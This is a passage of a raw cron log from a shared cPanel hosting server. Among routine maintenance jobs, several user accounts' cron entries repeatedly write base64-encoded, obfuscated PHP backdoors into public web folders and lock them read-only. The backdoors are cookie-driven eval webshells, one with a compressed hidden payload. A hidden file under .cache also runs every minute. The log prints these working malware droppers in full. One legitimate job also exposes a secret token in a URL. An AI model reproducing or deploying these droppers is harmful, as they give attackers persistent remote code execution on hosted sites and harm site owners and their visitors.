Myi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:19:01 medusa CROND[19691]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[4933]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:20:02 medusa CROND[4944]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:20:02 medusa CROND[5071]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:20:02 medusa CROND[5248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:20:02 medusa CROND[5251]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5250]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:20:02 medusa CROND[5252]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:20:02 medusa CROND[5254]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 04:20:02 medusa CROND[5253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 04:20:02 medusa CROND[5260]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5257]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5272]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:20:02 medusa CROND[5277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:20:02 medusa CROND[5275]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:20:02 medusa CROND[5279]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 04:20:02 medusa CROND[5281]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:20:02 medusa CROND[5286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5287]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:20:02 medusa CROND[5274]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 04:20:02 medusa CROND[5292]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:20:02 medusa CROND[5295]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:20:02 medusa CROND[5299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5298]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:20:02 medusa CROND[5270]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:20:02 medusa CROND[5305]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:20:02 medusa CROND[5304]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:20:02 medusa CROND[5312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:21:01 medusa CROND[23756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:21:01 medusa CROND[23930]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:21:01 medusa CROND[23931]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:21:01 medusa CROND[23932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:21:01 medusa CROND[23933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:21:01 medusa CROND[23934]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:21:01 medusa CROND[23940]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:21:01 medusa CROND[23941]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:21:01 medusa CROND[23949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:21:01 medusa CROND[23950]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:21:01 medusa CROND[23953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:21:01 medusa CROND[23960]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:21:01 medusa CROND[23967]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:21:01 medusa CROND[23982]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
